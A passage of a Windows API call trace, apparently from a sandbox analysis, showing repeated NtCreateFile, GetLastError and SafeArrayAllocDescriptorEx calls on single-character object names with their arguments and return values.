FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔒ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.975] GetLastError () returned 0x0 [0125.975] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.975] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.975] GetLastError () returned 0x0 [0125.975] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.975] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="⵼", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.975] GetLastError () returned 0x0 [0125.976] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.976] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.976] GetLastError () returned 0x0 [0125.976] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.976] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔒ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.976] GetLastError () returned 0x0 [0125.976] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.977] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.977] GetLastError () returned 0x0 [0125.977] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.977] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="⵼", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.977] GetLastError () returned 0x0 [0125.977] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.978] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.978] GetLastError () returned 0x0 [0125.978] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.978] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔒ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.978] GetLastError () returned 0x0 [0125.978] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.979] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.979] GetLastError () returned 0x0 [0125.979] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.979] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="⵼", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.979] GetLastError () returned 0x0 [0125.979] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.980] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.980] GetLastError () returned 0x0 [0125.980] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.980] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔒ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.980] GetLastError () returned 0x0 [0125.980] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.981] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.981] GetLastError () returned 0x0 [0125.981] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.981] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="⵼", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.981] GetLastError () returned 0x0 [0125.981] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.981] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.982] GetLastError () returned 0x0 [0125.982] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.982] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔒ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.982] GetLastError () returned 0x0 [0125.982] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.982] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.983] GetLastError () returned 0x0 [0125.983] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.983] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="⵼", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.983] GetLastError () returned 0x0 [0125.983] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.983] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.984] GetLastError () returned 0x0 [0125.984] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.984] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔒ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.984] GetLastError () returned 0x0 [0125.984] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.984] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.984] GetLastError () returned 0x0 [0125.985] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.985] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="⵼", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.985] GetLastError () returned 0x0 [0125.985] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.985] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.985] GetLastError () returned 0x0 [0125.985] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.986] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔒ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.986] GetLastError () returned 0x0 [0125.986] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.986] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.986] GetLastError () returned 0x0 [0125.986] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.987] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="⵼", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.987] GetLastError () returned 0x0 [0125.987] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.987] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.987] GetLastError () returned 0x0 [0125.987] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.988] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔒ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.988] GetLastError () returned 0x0 [0125.988] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.988] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.988] GetLastError () returned 0x0 [0125.988] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.988] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="⵼", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.989] GetLastError () returned 0x0 [0125.989] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.989] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.989] GetLastError () returned 0x0 [0125.989] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.989] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔒ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.990] GetLastError () returned 0x0 [0125.990] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.990] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.990] GetLastError () returned 0x0 [0125.990] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.990] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="⵼", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.990] GetLastError () returned 0x0 [0125.991] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.991] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.991] GetLastError () returned 0x0 [0125.991] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.991] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔒ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.991] GetLastError () returned 0x0 [0125.991] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.992] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.992] GetLastError () returned 0x0 [0125.992] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.992] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="⵼", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 